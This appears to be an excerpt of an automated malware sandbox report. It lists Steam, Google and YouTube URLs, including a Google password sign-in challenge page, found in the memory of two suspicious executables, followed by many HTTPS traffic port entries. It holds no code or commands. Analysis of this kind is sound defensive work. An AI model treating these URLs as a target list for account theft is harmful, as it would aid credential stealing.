Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: chromecache_161.19.dr	String found in binary or memory: https://support.google.com/accounts?hl=
Source: chromecache_161.19.dr	String found in binary or memory: https://support.google.com/accounts?p=new-si-ui
Source: chromecache_161.19.dr	String found in binary or memory: https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072
Source: chromecache_167.19.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, chromecache_161.19.dr	String found in binary or memory: https://www.google.com
Source: chromecache_161.19.dr	String found in binary or memory: https://www.google.com/intl/
Source: 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: chromecache_167.19.dr	String found in binary or memory: https://www.gstatic.com/accounts/speedbump/authzen_optin_illustration.gif
Source: chromecache_167.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/chrome_48dp.png
Source: chromecache_167.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/googleg_48dp.png
Source: chromecache_167.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/gsa_48dp.png
Source: chromecache_167.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/play_prism_48dp.png
Source: chromecache_167.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/youtube_48dp.png
Source: chromecache_161.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/googleg/v6/36px.svg
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chromecache_161.19.dr	String found in binary or memory: https://www.youtube.com/t/terms?chromeless=1&hl=
Source: 84d280a9e8.exe, 00000019.00000002.2953823488.0000000000E1A000.00000004.00000020.00020000.00000000.sdmp, 84d280a9e8.exe, 00000019.00000002.2953823488.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, 84d280a9e8.exe, 0000004E.00000002.2953026392.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 84d280a9e8.exe, 0000004E.00000003.2881673194.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp, 84d280a9e8.exe, 0000004E.00000002.2953026392.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: chromecache_161.19.dr	String found in binary or memory: https://youtube.com/t/terms?gl=

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 61029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 61064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 61076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 61144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 61122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 61108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 61167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 61054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 61134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 61063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 61030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 61086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 61146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61105
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61109
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61101
Source: unknown	Network traffic detected: HTTP traffic on port 61124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61103
Source: unknown	Network traffic detected: HTTP traffic on port 61147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61104
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61119
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61110
Source: unknown	Network traffic detected: HTTP traffic on port 61106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61115
Source: unknown	Network traffic detected: HTTP traffic on port 61079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61129
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 61170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61138
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61139
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61130
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61014
Source: unknown	Network traffic detected: HTTP traffic on port 61125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61137
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
